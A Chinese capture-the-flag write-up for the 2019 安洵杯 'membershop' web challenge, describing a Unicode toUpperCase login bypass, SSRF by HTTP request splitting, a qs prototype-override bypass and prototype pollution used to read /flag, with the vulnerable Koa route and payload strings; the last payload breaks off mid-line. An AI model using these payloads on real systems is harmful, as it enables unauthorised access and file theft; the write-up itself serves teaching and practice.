membershop

发表于 2021-01-16 分类于 Challenge ， 2019 ， 安洵杯 ， Web
Challenge | 2019 | 安洵杯 | Web | membershop

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

- *拉丁文越权*
- *ssrf*
- *原型链污染*

解题思路

登陆的时候过滤了admin，同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架，很容易联想到后端使用`toUpperCase()`做转换，拉丁文越权登陆`admin`

登陆成功之后多了一个请求记录的功能，同时登陆成功后给出源码的地址

拿到源码后简单看登陆逻辑

逻辑根据传入的用户名`userName`会在登陆前经过一次检测

当传入的用户名包含`admin`时，则自动循环replace掉。在登陆成功的同时会把`username`写进session里，这里可以看到只有我们登陆了`admin`才有权限加载其他模版

漏洞点在代码76-117行，它只允许请求以http://127.0.0.1:3000/query(后面拉到本地环境会改127.0.0.1这个地址，这是我本地debug)开头的url。输入其他开头的url会被error url，而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加，sandbox根据ip建立

因为query也是一个路由，那么这里就存在一个ssrf。如何bypass去请求其他路由呢？只需要用unicode编码并且分割http包，例如

```
1 http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}(
```

url编码是16进制，在http.get的时候不会进行percent encode，但是在buffer写入的时候会把xx解码。其中代表的是save，73617665是save的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击

接着就寻找一下其他路由存在的问题，可利用点在/save

```
1  home.get('/save',async(ctx)=>{
2      let ip = ctx.request.ip;
3      let reqbody = {switch:false}
4      reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});
5
6      if (ip.substr(0, 7) == "::ffff:") {
7          ip = ip.substr(7);
8      }
9      if (ip !== '127.0.0.1' && ip !== server_ip) {
10         ctx.status = 403;
11         ctx.response.body = '403: You are not the local user';
12     }else {
13         if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
14             if(fs.existsSync(reqbody.sandbox)){
15                 paths.opath = fs.readdirSync(reqbody.sandbox)[0];
16             }else if(fs.existsSync(reqbody.opath)){
17                 let buffer;
18                 tmp[reqbody.sandbox]['opath'] = reqbody.opath;
19                 if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
20                     buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
21                 }else{
22                     buffer = reqbody.opath;
23                 }
24             }
25             let opath = paths.opath? paths.opath : buffer;
26             let text = fs.readFileSync(opath, 'utf8');
27             await WriteResults(reqbody.spath,text);
28
29         }else{
30             return false;
31         }
32     }
33 })
```

这里大致有两个障碍点：

1、限制了本地127.0.0.1访问->ssrf解决

2、通过qs包解析url参数存为对象，switch默认为flase，配置`allowPrototypes=false`，直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3，参考链接:Prototype Override Protection Bypass，传参:`]=switch`绕过

3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath，否则读取自定义的opath，将结果写入spath(两者前提都是spath必须存在且可写，只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段，不允许直接读flag。

这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag，再去自定义读到spath里

```
1 tmp['__proto__']['opath'] = '/flag';
2 =>
3 paths.opath = /flag
```

构造一下就能把flag追加写入到sandbox/results.txt。poc如下，调整一下opath为flag地址，sandbox为自己的md5(ip)就行了：

```
1 encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{01
```


 # Challenge # Web # 2019 # 安洵杯
easy misc
crackme